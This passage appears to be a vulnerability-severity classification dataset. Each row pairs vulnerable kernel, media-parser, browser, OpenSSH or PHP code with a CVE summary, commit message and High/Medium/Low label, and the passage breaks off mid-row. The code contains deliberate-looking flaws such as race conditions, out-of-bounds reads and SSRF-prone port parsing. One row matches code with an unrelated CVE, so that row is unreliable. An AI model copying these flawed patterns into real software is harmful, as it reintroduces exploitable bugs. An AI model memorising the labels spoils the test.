instruction
stringclasses
1 value
input
stringlengths
306
235k
output
stringclasses
3 values
__index_level_0__
int64
165k
175k
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: static void *skcipher_bind(const char *name, u32 type, u32 mask) { return crypto_alloc_skcipher(name, type, mask); } Vulnerability Type: DoS CWE ID: CWE-476 Summary: crypto/algif_skcipher.c in the Linux kernel before 4.4.2 does not verify that a setkey operation has been performed on an AF_ALG socket before an accept system call is processed, which allows local users to cause a denial of service (NULL pointer dereference and system crash) via a crafted application that does not supply a key, related to the lrw_crypt function in crypto/lrw.c. Commit Message: crypto: algif_skcipher - Require setkey before accept(2) Some cipher implementations will crash if you try to use them without calling setkey first. This patch adds a check so that the accept(2) call will fail with -ENOKEY if setkey hasn't been done on the socket yet. Cc: [email protected] Reported-by: Dmitry Vyukov <[email protected]> Signed-off-by: Herbert Xu <[email protected]> Tested-by: Dmitry Vyukov <[email protected]>
Medium
167,455
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: long AudioTrack::Parse( Segment* pSegment, const Info& info, long long element_start, long long element_size, AudioTrack*& pResult) { if (pResult) return -1; if (info.type != Track::kAudio) return -1; IMkvReader* const pReader = pSegment->m_pReader; const Settings& s = info.settings; assert(s.start >= 0); assert(s.size >= 0); long long pos = s.start; assert(pos >= 0); const long long stop = pos + s.size; double rate = 8000.0; // MKV default long long channels = 1; long long bit_depth = 0; while (pos < stop) { long long id, size; long status = ParseElementHeader( pReader, pos, stop, id, size); if (status < 0) //error return status; if (id == 0x35) //Sample Rate { status = UnserializeFloat(pReader, pos, size, rate); if (status < 0) return status; if (rate <= 0) return E_FILE_FORMAT_INVALID; } else if (id == 0x1F) //Channel Count { channels = UnserializeUInt(pReader, pos, size); if (channels <= 0) return E_FILE_FORMAT_INVALID; } else if (id == 0x2264) //Bit Depth { bit_depth = UnserializeUInt(pReader, pos, size); if (bit_depth <= 0) return E_FILE_FORMAT_INVALID; } pos += size; //consume payload assert(pos <= stop); } assert(pos == stop); AudioTrack* const pTrack = new (std::nothrow) AudioTrack(pSegment, element_start, element_size); if (pTrack == NULL) return -1; //generic error const int status = info.Copy(pTrack->m_info); if (status) { delete pTrack; return status; } pTrack->m_rate = rate; pTrack->m_channels = channels; pTrack->m_bitDepth = bit_depth; pResult = pTrack; return 0; //success } Vulnerability Type: DoS Exec Code Overflow Mem. Corr. CWE ID: CWE-119 Summary: libvpx in mediaserver in Android 4.x before 4.4.4, 5.x before 5.1.1 LMY49H, and 6.0 before 2016-03-01 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted media file, related to libwebm/mkvparser.cpp and other files, aka internal bug 23452792. Commit Message: libwebm: Pull from upstream Rolling mkvparser from upstream. Primarily for fixing a bug on parsing failures with certain Opus WebM files. Upstream commit hash of this pull: 574045edd4ecbeb802ee3f1d214b5510269852ae The diff is so huge because there were some style clean ups upstream. But it was ensured that there were no breaking changes when the style clean ups was done upstream. Change-Id: Ib6e907175484b4b0ae1b55ab39522ea3188ad039
High
174,407
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: kex_input_newkeys(int type, u_int32_t seq, void *ctxt) { struct ssh *ssh = ctxt; struct kex *kex = ssh->kex; int r; debug("SSH2_MSG_NEWKEYS received"); ssh_dispatch_set(ssh, SSH2_MSG_NEWKEYS, &kex_protocol_error); if ((r = sshpkt_get_end(ssh)) != 0) return r; kex->done = 1; sshbuf_reset(kex->peer); /* sshbuf_reset(kex->my); */ kex->name = NULL; return 0; } Vulnerability Type: DoS CWE ID: CWE-476 Summary: sshd in OpenSSH before 7.4 allows remote attackers to cause a denial of service (NULL pointer dereference and daemon crash) via an out-of-sequence NEWKEYS message, as demonstrated by Honggfuzz, related to kex.c and packet.c. Commit Message:
Medium
165,483
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: v8::Handle<v8::Value> V8DataView::setInt8Callback(const v8::Arguments& args) { INC_STATS("DOM.DataView.setInt8"); if (args.Length() < 2) return V8Proxy::throwNotEnoughArgumentsError(); DataView* imp = V8DataView::toNative(args.Holder()); ExceptionCode ec = 0; EXCEPTION_BLOCK(unsigned, byteOffset, toUInt32(args[0])); EXCEPTION_BLOCK(int, value, toInt32(args[1])); imp->setInt8(byteOffset, static_cast<int8_t>(value), ec); if (UNLIKELY(ec)) V8Proxy::setDOMException(ec, args.GetIsolate()); return v8::Handle<v8::Value>(); } Vulnerability Type: CWE ID: Summary: The browser native UI in Google Chrome before 17.0.963.83 does not require user confirmation before an unpacked extension installation, which allows user-assisted remote attackers to have an unspecified impact via a crafted extension. Commit Message: [V8] Pass Isolate to throwNotEnoughArgumentsError() https://bugs.webkit.org/show_bug.cgi?id=86983 Reviewed by Adam Barth. The objective is to pass Isolate around in V8 bindings. This patch passes Isolate to throwNotEnoughArgumentsError(). No tests. No change in behavior. * bindings/scripts/CodeGeneratorV8.pm: (GenerateArgumentsCountCheck): (GenerateEventConstructorCallback): * bindings/scripts/test/V8/V8Float64Array.cpp: (WebCore::Float64ArrayV8Internal::fooCallback): * bindings/scripts/test/V8/V8TestActiveDOMObject.cpp: (WebCore::TestActiveDOMObjectV8Internal::excitingFunctionCallback): (WebCore::TestActiveDOMObjectV8Internal::postMessageCallback): * bindings/scripts/test/V8/V8TestCustomNamedGetter.cpp: (WebCore::TestCustomNamedGetterV8Internal::anotherFunctionCallback): * bindings/scripts/test/V8/V8TestEventConstructor.cpp: (WebCore::V8TestEventConstructor::constructorCallback): * bindings/scripts/test/V8/V8TestEventTarget.cpp: (WebCore::TestEventTargetV8Internal::itemCallback): (WebCore::TestEventTargetV8Internal::dispatchEventCallback): * bindings/scripts/test/V8/V8TestInterface.cpp: (WebCore::TestInterfaceV8Internal::supplementalMethod2Callback): (WebCore::V8TestInterface::constructorCallback): * bindings/scripts/test/V8/V8TestMediaQueryListListener.cpp: (WebCore::TestMediaQueryListListenerV8Internal::methodCallback): * bindings/scripts/test/V8/V8TestNamedConstructor.cpp: (WebCore::V8TestNamedConstructorConstructorCallback): * bindings/scripts/test/V8/V8TestObj.cpp: (WebCore::TestObjV8Internal::voidMethodWithArgsCallback): (WebCore::TestObjV8Internal::intMethodWithArgsCallback): (WebCore::TestObjV8Internal::objMethodWithArgsCallback): (WebCore::TestObjV8Internal::methodWithSequenceArgCallback): (WebCore::TestObjV8Internal::methodReturningSequenceCallback): (WebCore::TestObjV8Internal::methodThatRequiresAllArgsAndThrowsCallback): (WebCore::TestObjV8Internal::serializedValueCallback): (WebCore::TestObjV8Internal::idbKeyCallback): (WebCore::TestObjV8Internal::optionsObjectCallback): (WebCore::TestObjV8Internal::methodWithNonOptionalArgAndOptionalArgCallback): (WebCore::TestObjV8Internal::methodWithNonOptionalArgAndTwoOptionalArgsCallback): (WebCore::TestObjV8Internal::methodWithCallbackArgCallback): (WebCore::TestObjV8Internal::methodWithNonCallbackArgAndCallbackArgCallback): (WebCore::TestObjV8Internal::overloadedMethod1Callback): (WebCore::TestObjV8Internal::overloadedMethod2Callback): (WebCore::TestObjV8Internal::overloadedMethod3Callback): (WebCore::TestObjV8Internal::overloadedMethod4Callback): (WebCore::TestObjV8Internal::overloadedMethod5Callback): (WebCore::TestObjV8Internal::overloadedMethod6Callback): (WebCore::TestObjV8Internal::overloadedMethod7Callback): (WebCore::TestObjV8Internal::overloadedMethod11Callback): (WebCore::TestObjV8Internal::overloadedMethod12Callback): (WebCore::TestObjV8Internal::enabledAtRuntimeMethod1Callback): (WebCore::TestObjV8Internal::enabledAtRuntimeMethod2Callback): (WebCore::TestObjV8Internal::convert1Callback): (WebCore::TestObjV8Internal::convert2Callback): (WebCore::TestObjV8Internal::convert3Callback): (WebCore::TestObjV8Internal::convert4Callback): (WebCore::TestObjV8Internal::convert5Callback): (WebCore::TestObjV8Internal::strictFunctionCallback): (WebCore::V8TestObj::constructorCallback): * bindings/scripts/test/V8/V8TestSerializedScriptValueInterface.cpp: (WebCore::TestSerializedScriptValueInterfaceV8Internal::acceptTransferListCallback): (WebCore::V8TestSerializedScriptValueInterface::constructorCallback): * bindings/v8/ScriptController.cpp: (WebCore::setValueAndClosePopupCallback): * bindings/v8/V8Proxy.cpp: (WebCore::V8Proxy::throwNotEnoughArgumentsError): * bindings/v8/V8Proxy.h: (V8Proxy): * bindings/v8/custom/V8AudioContextCustom.cpp: (WebCore::V8AudioContext::constructorCallback): * bindings/v8/custom/V8DataViewCustom.cpp: (WebCore::V8DataView::getInt8Callback): (WebCore::V8DataView::getUint8Callback): (WebCore::V8DataView::setInt8Callback): (WebCore::V8DataView::setUint8Callback): * bindings/v8/custom/V8DirectoryEntryCustom.cpp: (WebCore::V8DirectoryEntry::getDirectoryCallback): (WebCore::V8DirectoryEntry::getFileCallback): * bindings/v8/custom/V8IntentConstructor.cpp: (WebCore::V8Intent::constructorCallback): * bindings/v8/custom/V8SVGLengthCustom.cpp: (WebCore::V8SVGLength::convertToSpecifiedUnitsCallback): * bindings/v8/custom/V8WebGLRenderingContextCustom.cpp: (WebCore::getObjectParameter): (WebCore::V8WebGLRenderingContext::getAttachedShadersCallback): (WebCore::V8WebGLRenderingContext::getExtensionCallback): (WebCore::V8WebGLRenderingContext::getFramebufferAttachmentParameterCallback): (WebCore::V8WebGLRenderingContext::getParameterCallback): (WebCore::V8WebGLRenderingContext::getProgramParameterCallback): (WebCore::V8WebGLRenderingContext::getShaderParameterCallback): (WebCore::V8WebGLRenderingContext::getUniformCallback): (WebCore::vertexAttribAndUniformHelperf): (WebCore::uniformHelperi): (WebCore::uniformMatrixHelper): * bindings/v8/custom/V8WebKitMutationObserverCustom.cpp: (WebCore::V8WebKitMutationObserver::constructorCallback): (WebCore::V8WebKitMutationObserver::observeCallback): * bindings/v8/custom/V8WebSocketCustom.cpp: (WebCore::V8WebSocket::constructorCallback): (WebCore::V8WebSocket::sendCallback): * bindings/v8/custom/V8XMLHttpRequestCustom.cpp: (WebCore::V8XMLHttpRequest::openCallback): git-svn-id: svn://svn.chromium.org/blink/trunk@117736 bbb929c8-8fbe-4397-9dbb-9b2b20218538
Medium
171,114
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: static int futex_wait_requeue_pi(u32 __user *uaddr, unsigned int flags, u32 val, ktime_t *abs_time, u32 bitset, u32 __user *uaddr2) { struct hrtimer_sleeper timeout, *to = NULL; struct rt_mutex_waiter rt_waiter; struct rt_mutex *pi_mutex = NULL; struct futex_hash_bucket *hb; union futex_key key2 = FUTEX_KEY_INIT; struct futex_q q = futex_q_init; int res, ret; if (uaddr == uaddr2) return -EINVAL; if (!bitset) return -EINVAL; if (abs_time) { to = &timeout; hrtimer_init_on_stack(&to->timer, (flags & FLAGS_CLOCKRT) ? CLOCK_REALTIME : CLOCK_MONOTONIC, HRTIMER_MODE_ABS); hrtimer_init_sleeper(to, current); hrtimer_set_expires_range_ns(&to->timer, *abs_time, current->timer_slack_ns); } /* * The waiter is allocated on our stack, manipulated by the requeue * code while we sleep on uaddr. */ debug_rt_mutex_init_waiter(&rt_waiter); RB_CLEAR_NODE(&rt_waiter.pi_tree_entry); RB_CLEAR_NODE(&rt_waiter.tree_entry); rt_waiter.task = NULL; ret = get_futex_key(uaddr2, flags & FLAGS_SHARED, &key2, VERIFY_WRITE); if (unlikely(ret != 0)) goto out; q.bitset = bitset; q.rt_waiter = &rt_waiter; q.requeue_pi_key = &key2; /* * Prepare to wait on uaddr. On success, increments q.key (key1) ref * count. */ ret = futex_wait_setup(uaddr, val, flags, &q, &hb); if (ret) goto out_key2; /* Queue the futex_q, drop the hb lock, wait for wakeup. */ futex_wait_queue_me(hb, &q, to); spin_lock(&hb->lock); ret = handle_early_requeue_pi_wakeup(hb, &q, &key2, to); spin_unlock(&hb->lock); if (ret) goto out_put_keys; /* * In order for us to be here, we know our q.key == key2, and since * we took the hb->lock above, we also know that futex_requeue() has * completed and we no longer have to concern ourselves with a wakeup * race with the atomic proxy lock acquisition by the requeue code. The * futex_requeue dropped our key1 reference and incremented our key2 * reference count. */ /* Check if the requeue code acquired the second futex for us. */ if (!q.rt_waiter) { /* * Got the lock. We might not be the anticipated owner if we * did a lock-steal - fix up the PI-state in that case. */ if (q.pi_state && (q.pi_state->owner != current)) { spin_lock(q.lock_ptr); ret = fixup_pi_state_owner(uaddr2, &q, current); spin_unlock(q.lock_ptr); } } else { /* * We have been woken up by futex_unlock_pi(), a timeout, or a * signal. futex_unlock_pi() will not destroy the lock_ptr nor * the pi_state. */ WARN_ON(!q.pi_state); pi_mutex = &q.pi_state->pi_mutex; ret = rt_mutex_finish_proxy_lock(pi_mutex, to, &rt_waiter, 1); debug_rt_mutex_free_waiter(&rt_waiter); spin_lock(q.lock_ptr); /* * Fixup the pi_state owner and possibly acquire the lock if we * haven't already. */ res = fixup_owner(uaddr2, &q, !ret); /* * If fixup_owner() returned an error, proprogate that. If it * acquired the lock, clear -ETIMEDOUT or -EINTR. */ if (res) ret = (res < 0) ? res : 0; /* Unqueue and drop the lock. */ unqueue_me_pi(&q); } /* * If fixup_pi_state_owner() faulted and was unable to handle the * fault, unlock the rt_mutex and return the fault to userspace. */ if (ret == -EFAULT) { if (pi_mutex && rt_mutex_owner(pi_mutex) == current) rt_mutex_unlock(pi_mutex); } else if (ret == -EINTR) { /* * We've already been requeued, but cannot restart by calling * futex_lock_pi() directly. We could restart this syscall, but * it would detect that the user space "val" changed and return * -EWOULDBLOCK. Save the overhead of the restart and return * -EWOULDBLOCK directly. */ ret = -EWOULDBLOCK; } out_put_keys: put_futex_key(&q.key); out_key2: put_futex_key(&key2); out: if (to) { hrtimer_cancel(&to->timer); destroy_hrtimer_on_stack(&to->timer); } return ret; } Vulnerability Type: +Priv CWE ID: CWE-264 Summary: The futex_requeue function in kernel/futex.c in the Linux kernel through 3.14.5 does not ensure that calls have two different futex addresses, which allows local users to gain privileges via a crafted FUTEX_REQUEUE command that facilitates unsafe waiter modification. Commit Message: futex-prevent-requeue-pi-on-same-futex.patch futex: Forbid uaddr == uaddr2 in futex_requeue(..., requeue_pi=1) If uaddr == uaddr2, then we have broken the rule of only requeueing from a non-pi futex to a pi futex with this call. If we attempt this, then dangling pointers may be left for rt_waiter resulting in an exploitable condition. This change brings futex_requeue() in line with futex_wait_requeue_pi() which performs the same check as per commit 6f7b0a2a5c0f ("futex: Forbid uaddr == uaddr2 in futex_wait_requeue_pi()") [ tglx: Compare the resulting keys as well, as uaddrs might be different depending on the mapping ] Fixes CVE-2014-3153. Reported-by: Pinkie Pie Signed-off-by: Will Drewry <[email protected]> Signed-off-by: Kees Cook <[email protected]> Cc: [email protected] Signed-off-by: Thomas Gleixner <[email protected]> Reviewed-by: Darren Hart <[email protected]> Signed-off-by: Linus Torvalds <[email protected]>
High
166,382
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: status_t MPEG4Source::read( MediaBuffer **out, const ReadOptions *options) { Mutex::Autolock autoLock(mLock); CHECK(mStarted); if (mFirstMoofOffset > 0) { return fragmentedRead(out, options); } *out = NULL; int64_t targetSampleTimeUs = -1; int64_t seekTimeUs; ReadOptions::SeekMode mode; if (options && options->getSeekTo(&seekTimeUs, &mode)) { uint32_t findFlags = 0; switch (mode) { case ReadOptions::SEEK_PREVIOUS_SYNC: findFlags = SampleTable::kFlagBefore; break; case ReadOptions::SEEK_NEXT_SYNC: findFlags = SampleTable::kFlagAfter; break; case ReadOptions::SEEK_CLOSEST_SYNC: case ReadOptions::SEEK_CLOSEST: findFlags = SampleTable::kFlagClosest; break; default: CHECK(!"Should not be here."); break; } uint32_t sampleIndex; status_t err = mSampleTable->findSampleAtTime( seekTimeUs, 1000000, mTimescale, &sampleIndex, findFlags); if (mode == ReadOptions::SEEK_CLOSEST) { findFlags = SampleTable::kFlagBefore; } uint32_t syncSampleIndex; if (err == OK) { err = mSampleTable->findSyncSampleNear( sampleIndex, &syncSampleIndex, findFlags); } uint32_t sampleTime; if (err == OK) { err = mSampleTable->getMetaDataForSample( sampleIndex, NULL, NULL, &sampleTime); } if (err != OK) { if (err == ERROR_OUT_OF_RANGE) { err = ERROR_END_OF_STREAM; } ALOGV("end of stream"); return err; } if (mode == ReadOptions::SEEK_CLOSEST) { targetSampleTimeUs = (sampleTime * 1000000ll) / mTimescale; } #if 0 uint32_t syncSampleTime; CHECK_EQ(OK, mSampleTable->getMetaDataForSample( syncSampleIndex, NULL, NULL, &syncSampleTime)); ALOGI("seek to time %lld us => sample at time %lld us, " "sync sample at time %lld us", seekTimeUs, sampleTime * 1000000ll / mTimescale, syncSampleTime * 1000000ll / mTimescale); #endif mCurrentSampleIndex = syncSampleIndex; if (mBuffer != NULL) { mBuffer->release(); mBuffer = NULL; } } off64_t offset; size_t size; uint32_t cts, stts; bool isSyncSample; bool newBuffer = false; if (mBuffer == NULL) { newBuffer = true; status_t err = mSampleTable->getMetaDataForSample( mCurrentSampleIndex, &offset, &size, &cts, &isSyncSample, &stts); if (err != OK) { return err; } err = mGroup->acquire_buffer(&mBuffer); if (err != OK) { CHECK(mBuffer == NULL); return err; } if (size > mBuffer->size()) { ALOGE("buffer too small: %zu > %zu", size, mBuffer->size()); return ERROR_BUFFER_TOO_SMALL; } } if ((!mIsAVC && !mIsHEVC) || mWantsNALFragments) { if (newBuffer) { ssize_t num_bytes_read = mDataSource->readAt(offset, (uint8_t *)mBuffer->data(), size); if (num_bytes_read < (ssize_t)size) { mBuffer->release(); mBuffer = NULL; return ERROR_IO; } CHECK(mBuffer != NULL); mBuffer->set_range(0, size); mBuffer->meta_data()->clear(); mBuffer->meta_data()->setInt64( kKeyTime, ((int64_t)cts * 1000000) / mTimescale); mBuffer->meta_data()->setInt64( kKeyDuration, ((int64_t)stts * 1000000) / mTimescale); if (targetSampleTimeUs >= 0) { mBuffer->meta_data()->setInt64( kKeyTargetTime, targetSampleTimeUs); } if (isSyncSample) { mBuffer->meta_data()->setInt32(kKeyIsSyncFrame, 1); } ++mCurrentSampleIndex; } if (!mIsAVC && !mIsHEVC) { *out = mBuffer; mBuffer = NULL; return OK; } CHECK(mBuffer->range_length() >= mNALLengthSize); const uint8_t *src = (const uint8_t *)mBuffer->data() + mBuffer->range_offset(); size_t nal_size = parseNALSize(src); if (mNALLengthSize > SIZE_MAX - nal_size) { ALOGE("b/24441553, b/24445122"); } if (mBuffer->range_length() - mNALLengthSize < nal_size) { ALOGE("incomplete NAL unit."); mBuffer->release(); mBuffer = NULL; return ERROR_MALFORMED; } MediaBuffer *clone = mBuffer->clone(); CHECK(clone != NULL); clone->set_range(mBuffer->range_offset() + mNALLengthSize, nal_size); CHECK(mBuffer != NULL); mBuffer->set_range( mBuffer->range_offset() + mNALLengthSize + nal_size, mBuffer->range_length() - mNALLengthSize - nal_size); if (mBuffer->range_length() == 0) { mBuffer->release(); mBuffer = NULL; } *out = clone; return OK; } else { ssize_t num_bytes_read = 0; int32_t drm = 0; bool usesDRM = (mFormat->findInt32(kKeyIsDRM, &drm) && drm != 0); if (usesDRM) { num_bytes_read = mDataSource->readAt(offset, (uint8_t*)mBuffer->data(), size); } else { num_bytes_read = mDataSource->readAt(offset, mSrcBuffer, size); } if (num_bytes_read < (ssize_t)size) { mBuffer->release(); mBuffer = NULL; return ERROR_IO; } if (usesDRM) { CHECK(mBuffer != NULL); mBuffer->set_range(0, size); } else { uint8_t *dstData = (uint8_t *)mBuffer->data(); size_t srcOffset = 0; size_t dstOffset = 0; while (srcOffset < size) { bool isMalFormed = !isInRange((size_t)0u, size, srcOffset, mNALLengthSize); size_t nalLength = 0; if (!isMalFormed) { nalLength = parseNALSize(&mSrcBuffer[srcOffset]); srcOffset += mNALLengthSize; isMalFormed = !isInRange((size_t)0u, size, srcOffset, nalLength); } if (isMalFormed) { ALOGE("Video is malformed"); mBuffer->release(); mBuffer = NULL; return ERROR_MALFORMED; } if (nalLength == 0) { continue; } CHECK(dstOffset + 4 <= mBuffer->size()); dstData[dstOffset++] = 0; dstData[dstOffset++] = 0; dstData[dstOffset++] = 0; dstData[dstOffset++] = 1; memcpy(&dstData[dstOffset], &mSrcBuffer[srcOffset], nalLength); srcOffset += nalLength; dstOffset += nalLength; } CHECK_EQ(srcOffset, size); CHECK(mBuffer != NULL); mBuffer->set_range(0, dstOffset); } mBuffer->meta_data()->clear(); mBuffer->meta_data()->setInt64( kKeyTime, ((int64_t)cts * 1000000) / mTimescale); mBuffer->meta_data()->setInt64( kKeyDuration, ((int64_t)stts * 1000000) / mTimescale); if (targetSampleTimeUs >= 0) { mBuffer->meta_data()->setInt64( kKeyTargetTime, targetSampleTimeUs); } if (isSyncSample) { mBuffer->meta_data()->setInt32(kKeyIsSyncFrame, 1); } ++mCurrentSampleIndex; *out = mBuffer; mBuffer = NULL; return OK; } } Vulnerability Type: DoS Exec Code Overflow Mem. Corr. CWE ID: CWE-119 Summary: MPEG4Extractor.cpp in libstagefright in mediaserver in Android 4.x before 4.4.4, 5.0.x before 5.0.2, 5.1.x before 5.1.1, and 6.x before 2016-04-01 allows remote attackers to execute arbitrary code or cause a denial of service (out-of-bounds read and memory corruption) via a crafted media file, aka internal bug 27208621. Commit Message: Also fix out of bounds access for normal read Previous fix accidentally only fixed the fragmented read case. Bug: 27208621 Change-Id: Ie16f1920b84c8aba613842659238fcd5925694ad
High
173,924
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: static int proc_keys_show(struct seq_file *m, void *v) { struct rb_node *_p = v; struct key *key = rb_entry(_p, struct key, serial_node); struct timespec now; unsigned long timo; key_ref_t key_ref, skey_ref; char xbuf[16]; int rc; struct keyring_search_context ctx = { .index_key.type = key->type, .index_key.description = key->description, .cred = m->file->f_cred, .match_data.cmp = lookup_user_key_possessed, .match_data.raw_data = key, .match_data.lookup_type = KEYRING_SEARCH_LOOKUP_DIRECT, .flags = KEYRING_SEARCH_NO_STATE_CHECK, }; key_ref = make_key_ref(key, 0); /* determine if the key is possessed by this process (a test we can * skip if the key does not indicate the possessor can view it */ if (key->perm & KEY_POS_VIEW) { skey_ref = search_my_process_keyrings(&ctx); if (!IS_ERR(skey_ref)) { key_ref_put(skey_ref); key_ref = make_key_ref(key, 1); } } /* check whether the current task is allowed to view the key */ rc = key_task_permission(key_ref, ctx.cred, KEY_NEED_VIEW); if (rc < 0) return 0; now = current_kernel_time(); rcu_read_lock(); /* come up with a suitable timeout value */ if (key->expiry == 0) { memcpy(xbuf, "perm", 5); } else if (now.tv_sec >= key->expiry) { memcpy(xbuf, "expd", 5); } else { timo = key->expiry - now.tv_sec; if (timo < 60) sprintf(xbuf, "%lus", timo); else if (timo < 60*60) sprintf(xbuf, "%lum", timo / 60); else if (timo < 60*60*24) sprintf(xbuf, "%luh", timo / (60*60)); else if (timo < 60*60*24*7) sprintf(xbuf, "%lud", timo / (60*60*24)); else sprintf(xbuf, "%luw", timo / (60*60*24*7)); } #define showflag(KEY, LETTER, FLAG) \ (test_bit(FLAG, &(KEY)->flags) ? LETTER : '-') seq_printf(m, "%08x %c%c%c%c%c%c%c %5d %4s %08x %5d %5d %-9.9s ", key->serial, showflag(key, 'I', KEY_FLAG_INSTANTIATED), showflag(key, 'R', KEY_FLAG_REVOKED), showflag(key, 'D', KEY_FLAG_DEAD), showflag(key, 'Q', KEY_FLAG_IN_QUOTA), showflag(key, 'U', KEY_FLAG_USER_CONSTRUCT), showflag(key, 'N', KEY_FLAG_NEGATIVE), showflag(key, 'i', KEY_FLAG_INVALIDATED), refcount_read(&key->usage), xbuf, key->perm, from_kuid_munged(seq_user_ns(m), key->uid), from_kgid_munged(seq_user_ns(m), key->gid), key->type->name); #undef showflag if (key->type->describe) key->type->describe(key, m); seq_putc(m, '\n'); rcu_read_unlock(); return 0; } Vulnerability Type: DoS CWE ID: CWE-20 Summary: The KEYS subsystem in the Linux kernel before 4.13.10 does not correctly synchronize the actions of updating versus finding a key in the *negative* state to avoid a race condition, which allows local users to cause a denial of service or possibly have unspecified other impact via crafted system calls. Commit Message: KEYS: Fix race between updating and finding a negative key Consolidate KEY_FLAG_INSTANTIATED, KEY_FLAG_NEGATIVE and the rejection error into one field such that: (1) The instantiation state can be modified/read atomically. (2) The error can be accessed atomically with the state. (3) The error isn't stored unioned with the payload pointers. This deals with the problem that the state is spread over three different objects (two bits and a separate variable) and reading or updating them atomically isn't practical, given that not only can uninstantiated keys change into instantiated or rejected keys, but rejected keys can also turn into instantiated keys - and someone accessing the key might not be using any locking. The main side effect of this problem is that what was held in the payload may change, depending on the state. For instance, you might observe the key to be in the rejected state. You then read the cached error, but if the key semaphore wasn't locked, the key might've become instantiated between the two reads - and you might now have something in hand that isn't actually an error code. The state is now KEY_IS_UNINSTANTIATED, KEY_IS_POSITIVE or a negative error code if the key is negatively instantiated. The key_is_instantiated() function is replaced with key_is_positive() to avoid confusion as negative keys are also 'instantiated'. Additionally, barriering is included: (1) Order payload-set before state-set during instantiation. (2) Order state-read before payload-read when using the key. Further separate barriering is necessary if RCU is being used to access the payload content after reading the payload pointers. Fixes: 146aa8b1453b ("KEYS: Merge the type-specific data with the payload data") Cc: [email protected] # v4.4+ Reported-by: Eric Biggers <[email protected]> Signed-off-by: David Howells <[email protected]> Reviewed-by: Eric Biggers <[email protected]>
High
167,704
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: static inline char *parse_ip_address_ex(const char *str, size_t str_len, int *portno, int get_err, zend_string **err) { char *colon; char *host = NULL; #ifdef HAVE_IPV6 char *p; if (*(str) == '[' && str_len > 1) { /* IPV6 notation to specify raw address with port (i.e. [fe80::1]:80) */ p = memchr(str + 1, ']', str_len - 2); if (!p || *(p + 1) != ':') { if (get_err) { *err = strpprintf(0, "Failed to parse IPv6 address \"%s\"", str); } return NULL; } *portno = atoi(p + 2); return estrndup(str + 1, p - str - 1); } #endif if (str_len) { colon = memchr(str, ':', str_len - 1); } else { colon = NULL; } if (colon) { *portno = atoi(colon + 1); host = estrndup(str, colon - str); } else { if (get_err) { *err = strpprintf(0, "Failed to parse address \"%s\"", str); } return NULL; } return host; } Vulnerability Type: CWE ID: CWE-918 Summary: PHP through 7.1.11 enables potential SSRF in applications that accept an fsockopen or pfsockopen hostname argument with an expectation that the port number is constrained. Because a :port syntax is recognized, fsockopen will use the port number that is specified in the hostname argument, instead of the port number in the second argument of the function. Commit Message: Detect invalid port in xp_socket parse ip address For historical reasons, fsockopen() accepts the port and hostname separately: fsockopen('127.0.0.1', 80) However, with the introdcution of stream transports in PHP 4.3, it became possible to include the port in the hostname specifier: fsockopen('127.0.0.1:80') Or more formally: fsockopen('tcp://127.0.0.1:80') Confusing results when these two forms are combined, however. fsockopen('127.0.0.1:80', 443) results in fsockopen() attempting to connect to '127.0.0.1:80:443' which any reasonable stack would consider invalid. Unfortunately, PHP parses the address looking for the first colon (with special handling for IPv6, don't worry) and calls atoi() from there. atoi() in turn, simply stops parsing at the first non-numeric character and returns the value so far. The end result is that the explicitly supplied port is treated as ignored garbage, rather than producing an error. This diff replaces atoi() with strtol() and inspects the stop character. If additional "garbage" of any kind is found, it fails and returns an error.
Medium
168,289
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: void dump_mm(const struct mm_struct *mm) { pr_emerg("mm %px mmap %px seqnum %d task_size %lu\n" #ifdef CONFIG_MMU "get_unmapped_area %px\n" #endif "mmap_base %lu mmap_legacy_base %lu highest_vm_end %lu\n" "pgd %px mm_users %d mm_count %d pgtables_bytes %lu map_count %d\n" "hiwater_rss %lx hiwater_vm %lx total_vm %lx locked_vm %lx\n" "pinned_vm %lx data_vm %lx exec_vm %lx stack_vm %lx\n" "start_code %lx end_code %lx start_data %lx end_data %lx\n" "start_brk %lx brk %lx start_stack %lx\n" "arg_start %lx arg_end %lx env_start %lx env_end %lx\n" "binfmt %px flags %lx core_state %px\n" #ifdef CONFIG_AIO "ioctx_table %px\n" #endif #ifdef CONFIG_MEMCG "owner %px " #endif "exe_file %px\n" #ifdef CONFIG_MMU_NOTIFIER "mmu_notifier_mm %px\n" #endif #ifdef CONFIG_NUMA_BALANCING "numa_next_scan %lu numa_scan_offset %lu numa_scan_seq %d\n" #endif "tlb_flush_pending %d\n" "def_flags: %#lx(%pGv)\n", mm, mm->mmap, mm->vmacache_seqnum, mm->task_size, #ifdef CONFIG_MMU mm->get_unmapped_area, #endif mm->mmap_base, mm->mmap_legacy_base, mm->highest_vm_end, mm->pgd, atomic_read(&mm->mm_users), 